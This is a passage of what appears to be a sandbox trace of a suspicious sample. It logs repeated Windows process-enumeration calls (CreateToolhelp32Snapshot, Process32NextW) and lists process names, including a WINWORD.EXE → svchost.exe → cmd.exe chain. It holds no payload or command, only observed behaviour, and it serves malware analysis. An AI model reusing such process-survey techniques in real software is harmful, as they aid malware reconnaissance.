szExeFile="taskhost.exe")) returned 1 [0059.697] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.698] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.698] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.699] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.699] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.699] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.700] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0059.700] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0059.701] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0059.701] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0059.701] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0059.702] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0059.702] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0059.703] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0059.703] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0059.704] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0059.704] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0059.704] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0059.705] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0059.705] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0059.706] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0059.706] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0059.706] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0059.707] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0059.707] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0059.708] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0059.708] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0059.708] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0059.709] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.709] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0059.710] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.710] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.711] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.711] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.712] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0059.712] CloseHandle (hObject=0x100) returned 1 [0059.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0059.714] Process32FirstW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.714] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.714] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.715] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.715] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.716] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.716] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.716] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.717] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.717] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.718] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.718] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.719] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.719] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.719] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.720] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.720] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.721] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.721] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.721] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.722] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.722] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.723] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.723] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.723] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.724] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.725] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.725] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0059.725] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0059.726] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0059.726] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0059.727] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0059.727] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0059.727] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0059.728] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0059.728] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0059.729] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0059.729] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0059.730] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0059.730] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0059.730] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0059.731] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0059.731] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0059.732] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0059.732] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0059.732] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0059.733] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0059.733] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0059.734] Process32NextW (in: 